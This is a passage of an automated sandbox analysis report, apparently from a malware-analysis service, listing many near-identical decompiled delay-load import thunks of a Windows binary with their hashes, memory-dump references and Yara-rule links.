Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ca6408b9e6a07dfd16aaf6e3ca2dbb0e9de12d38ae412524b994ceb33508a28a
Instruction ID: 953d9774b25c61aa9ad9456093f6e3b5224f8c128baf12acfc84d1a18131a1f6
Opcode Fuzzy Hash: ca6408b9e6a07dfd16aaf6e3ca2dbb0e9de12d38ae412524b994ceb33508a28a
Instruction Fuzzy Hash: B4A012E19580177C350D32D17C05E3E010DC8D0911320840DF001800C0E6C018000132

Uniqueness

Uniqueness Score: -1.00%

Function 0110D948, Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E0110D948() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x112adc4); // executed
				E0110DDAF(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x0110d903
0x0110d908
0x0110d90f

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0110D908

Part of subcall function 0110DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0110DE2C
Part of subcall function 0110DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0110DE3D

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 898e58385c6636763291418145497e0d5cb2ccb7a3b8008855a3f7ec9e8b442e
Instruction ID: 953d9774b25c61aa9ad9456093f6e3b5224f8c128baf12acfc84d1a18131a1f6
Opcode Fuzzy Hash: 898e58385c6636763291418145497e0d5cb2ccb7a3b8008855a3f7ec9e8b442e
Instruction Fuzzy Hash: B4A012E19580177C350D32D17C05E3E010DC8D0911320840DF001800C0E6C018000132

Uniqueness

Uniqueness Score: -1.00%

Function 0110D8FB, Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E0110D8FB() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x112adc4); // executed
				E0110DDAF(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x0110d903
0x0110d908
0x0110d90f

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0110D908

Part of subcall function 0110DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0110DE2C
Part of subcall function 0110DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0110DE3D

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 5187b955672c827991b807ac96a732f59408693c5fc9b92cb781e61bfa22dd22
Instruction ID: f76f8caf7b14cc96f465ebb5c2c3409827a717a992a57c382909e14c74ea023a
Opcode Fuzzy Hash: 5187b955672c827991b807ac96a732f59408693c5fc9b92cb781e61bfa22dd22
Instruction Fuzzy Hash: 79A011F2AA802A3C3A0E32E2BC0AF3E020EC8E0A22330800EF000800C0EAC028200232

Uniqueness

Uniqueness Score: -1.00%

Function 0110DA75, Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E0110DA75() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x112ae24); // executed
				E0110DDAF(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x0110da26
0x0110da2b
0x0110da32

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0110DA2B

Part of subcall function 0110DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0110DE2C
Part of subcall function 0110DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0110DE3D

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 766ecb20a99e36630dda29098260902135c1a0759f00b16bdd2c3fc49e8871dc
Instruction ID: bb2b61ab4819c4c289082481e244af6daf214e815102d8f14ec7e3d1b68176a6
Opcode Fuzzy Hash: 766ecb20a99e36630dda29098260902135c1a0759f00b16bdd2c3fc49e8871dc
Instruction Fuzzy Hash: 58A001A6AAD533BC794E67EA7D06E3A025CCDE5A65325995EF402854C0EBC81C960132

Uniqueness

Uniqueness Score: -1.00%

Function 0110DA61, Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E0110DA61() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x112ae24); // executed
				E0110DDAF(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x0110da26
0x0110da2b
0x0110da32

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0110DA2B

Part of subcall function 0110DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0110DE2C
Part of subcall function 0110DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0110DE3D

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 46779ce90adffc31a7660b3ada0bcb3030bdc523e3d029c1ea173c6c8971cd65
Instruction ID: bb2b61ab4819c4c289082481e244af6daf214e815102d8f14ec7e3d1b68176a6
Opcode Fuzzy Hash: 46779ce90adffc31a7660b3ada0bcb3030bdc523e3d029c1ea173c6c8971cd65
Instruction Fuzzy Hash: 58A001A6AAD533BC794E67EA7D06E3A025CCDE5A65325995EF402854C0EBC81C960132

Uniqueness

Uniqueness Score: -1.00%

Function 0110DA6B, Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E0110DA6B() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x112ae24); // executed
				E0110DDAF(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x0110da26
0x0110da2b
0x0110da32

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0110DA2B

Part of subcall function 0110DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0110DE2C
Part of subcall function 0110DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0110DE3D

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: cade81ab09d49607dadfdd231df3254bf7cb3314f2629d4f6b7a0f915c90e728
Instruction ID: bb2b61ab4819c4c289082481e244af6daf214e815102d8f14ec7e3d1b68176a6
Opcode Fuzzy Hash: cade81ab09d49607dadfdd231df3254bf7cb3314f2629d4f6b7a0f915c90e728
Instruction Fuzzy Hash: 58A001A6AAD533BC794E67EA7D06E3A025CCDE5A65325995EF402854C0EBC81C960132

Uniqueness

Uniqueness Score: -1.00%

Function 0110DA9A, Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E0110DA9A() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x112ae44); // executed
				E0110DDAF(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x0110da87
0x0110da8c
0x0110da93

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0110DA8C

Part of subcall function 0110DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0110DE2C
Part of subcall function 0110DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0110DE3D

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 5b3ce6ec34ef0efebad16216279a03951ce458c690ee58369f57a2083d132b26
Instruction ID: fec013f3972d7367b05cca2a6bdff639617f796ef98985946a033432181961c3
Opcode Fuzzy Hash: 5b3ce6ec34ef0efebad16216279a03951ce458c690ee58369f57a2083d132b26
Instruction Fuzzy Hash: A6A001A6AAD123BD794E62E67D0BE3A021DCDE8A65325995EF802854C0EBD41C960132

Uniqueness

Uniqueness Score: -1.00%

Function 0110DAA4, Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E0110DAA4() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x112ae44); // executed
				E0110DDAF(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x0110da87
0x0110da8c
0x0110da93

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0110DA8C

Part of subcall function 0110DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0110DE2C
Part of subcall function 0110DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0110DE3D

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 430cea75ae4f342ba54693a2d6759bd1db1903b6e4c3aa88e469d1817d2e919d
Instruction ID: fec013f3972d7367b05cca2a6bdff639617f796ef98985946a033432181961c3
Opcode Fuzzy Hash: 430cea75ae4f342ba54693a2d6759bd1db1903b6e4c3aa88e469d1817d2e919d
Instruction Fuzzy Hash: A6A001A6AAD123BD794E62E67D0BE3A021DCDE8A65325995EF802854C0EBD41C960132

Uniqueness

Uniqueness Score: -1.00%

Function 0110D72F, Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E0110D72F() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x112ada4); // executed
				E0110DDAF(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x0110d6f4
0x0110d6f9
0x0110d700

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0110D6F9

Part of subcall function 0110DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0110DE2C
Part of subcall function 0110DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0110DE3D

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: fb122e9038fbc5549b3f48518d091522c689e7885a16e9d6d2654aacf704771b
Instruction ID: b104910f5b504e9f5d6d11bf77d9f78341f80ac10c2cc585fcf5a6b58567fa21
Opcode Fuzzy Hash: fb122e9038fbc5549b3f48518d091522c689e7885a16e9d6d2654aacf704771b
Instruction Fuzzy Hash: 0AA012E1558113BC344D22D17C01D3E010CCCD0951330844DF401800C0D6C418100033

Uniqueness

Uniqueness Score: -1.00%

Function 0110D775, Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E0110D775() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x112ada4); // executed
				E0110DDAF(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x0110d6f4
0x0110d6f9
0x0110d700

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0110D6F9

Part of subcall function 0110DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0110DE2C
Part of subcall function 0110DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0110DE3D

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 00354c2e97db56e5f0a223462234f2ca07dd0cd83213100822ed9033e4077ac9
Instruction ID: b104910f5b504e9f5d6d11bf77d9f78341f80ac10c2cc585fcf5a6b58567fa21
Opcode Fuzzy Hash: 00354c2e97db56e5f0a223462234f2ca07dd0cd83213100822ed9033e4077ac9
Instruction Fuzzy Hash: 0AA012E1558113BC344D22D17C01D3E010CCCD0951330844DF401800C0D6C418100033

Uniqueness

Uniqueness Score: -1.00%

Function 0110D793, Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E0110D793() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x112ada4); // executed
				E0110DDAF(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x0110d6f4
0x0110d6f9
0x0110d700

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0110D6F9

Part of subcall function 0110DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0110DE2C
Part of subcall function 0110DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0110DE3D

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 8592965ab7da3804ac4f78e2c6cb0d7d910f6d078e0cbdb5c6610cb38d8a1df5
Instruction ID: b104910f5b504e9f5d6d11bf77d9f78341f80ac10c2cc585fcf5a6b58567fa21
Opcode Fuzzy Hash: 8592965ab7da3804ac4f78e2c6cb0d7d910f6d078e0cbdb5c6610cb38d8a1df5
Instruction Fuzzy Hash: 0AA012E1558113BC344D22D17C01D3E010CCCD0951330844DF401800C0D6C418100033

Uniqueness

Uniqueness Score: -1.00%

Function 0110D7B1, Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E0110D7B1() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x112ada4); // executed
				E0110DDAF(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x0110d6f4
0x0110d6f9
0x0110d700

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0110D6F9

Part of subcall function 0110DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0110DE2C
Part of subcall function 0110DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0110DE3D

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 5d105ddc32b8f390755c6ba7353291a808cb6b66eb797d7121c36a4b43c6f969
Instruction ID: b104910f5b504e9f5d6d11bf77d9f78341f80ac10c2cc585fcf5a6b58567fa21
Opcode Fuzzy Hash: 5d105ddc32b8f390755c6ba7353291a808cb6b66eb797d7121c36a4b43c6f969
Instruction Fuzzy Hash: 0AA012E1558113BC344D22D17C01D3E010CCCD0951330844DF401800C0D6C418100033

Uniqueness

Uniqueness Score: -1.00%

Function 0110D7BB, Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E0110D7BB() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x112ada4); // executed
				E0110DDAF(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x0110d6f4
0x0110d6f9
0x0110d700

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0110D6F9

Part of subcall function 0110DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0110DE2C
Part of subcall function 0110DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0110DE3D

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: f3eb9a5ae7a106fada26f5572e1c5095846decc4826d4beffa0cb9dfaf0a649e
Instruction ID: b104910f5b504e9f5d6d11bf77d9f78341f80ac10c2cc585fcf5a6b58567fa21
Opcode Fuzzy Hash: f3eb9a5ae7a106fada26f5572e1c5095846decc4826d4beffa0cb9dfaf0a649e
Instruction Fuzzy Hash: 0AA012E1558113BC344D22D17C01D3E010CCCD0951330844DF401800C0D6C418100033

Uniqueness

Uniqueness Score: -1.00%

Function 0110D7A7, Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E0110D7A7() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x112ada4); // executed
				E0110DDAF(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x0110d6f4
0x0110d6f9
0x0110d700

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0110D6F9

Part of subcall function 0110DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0110DE2C
Part of subcall function 0110DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0110DE3D

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 66d5146ebf0398ecf87a1c2e0f4624ddf228cbebc0db8fb65e256c8c5819e14f
Instruction ID: b104910f5b504e9f5d6d11bf77d9f78341f80ac10c2cc585fcf5a6b58567fa21
Opcode Fuzzy Hash: 66d5146ebf0398ecf87a1c2e0f4624ddf228cbebc0db8fb65e256c8c5819e14f
Instruction Fuzzy Hash: 0AA012E1558113BC344D22D17C01D3E010CCCD0951330844DF401800C0D6C418100033

Uniqueness

Uniqueness Score: -1.00%

Function 0110D7D9, Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E0110D7D9() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x112ada4); // executed
				E0110DDAF(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x0110d6f4
0x0110d6f9
0x0110d700

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0110D6F9

Part of subcall function 0110DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0110DE2C
Part of subcall function 0110DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0110DE3D

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: f72846aebb58bd12b7d62f86d4d92797ddc031a59f92024aba2292c9af5c7d6c
Instruction ID: b104910f5b504e9f5d6d11bf77d9f78341f80ac10c2cc585fcf5a6b58567fa21
Opcode Fuzzy Hash: f72846aebb58bd12b7d62f86d4d92797ddc031a59f92024aba2292c9af5c7d6c
Instruction Fuzzy Hash: 0AA012E1558113BC344D22D17C01D3E010CCCD0951330844DF401800C0D6C418100033

Uniqueness

Uniqueness Score: -1.00%

Function 0110D7C5, Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E0110D7C5() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x112ada4); // executed
				E0110DDAF(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x0110d6f4
0x0110d6f9
0x0110d700

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0110D6F9

Part of subcall function 0110DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0110DE2C
Part of subcall function 0110DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0110DE3D

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 95b7ee84de12b8496a1a8b8e1aace116de3f8b33a91cc797e104a584dc080640
Instruction ID: b104910f5b504e9f5d6d11bf77d9f78341f80ac10c2cc585fcf5a6b58567fa21
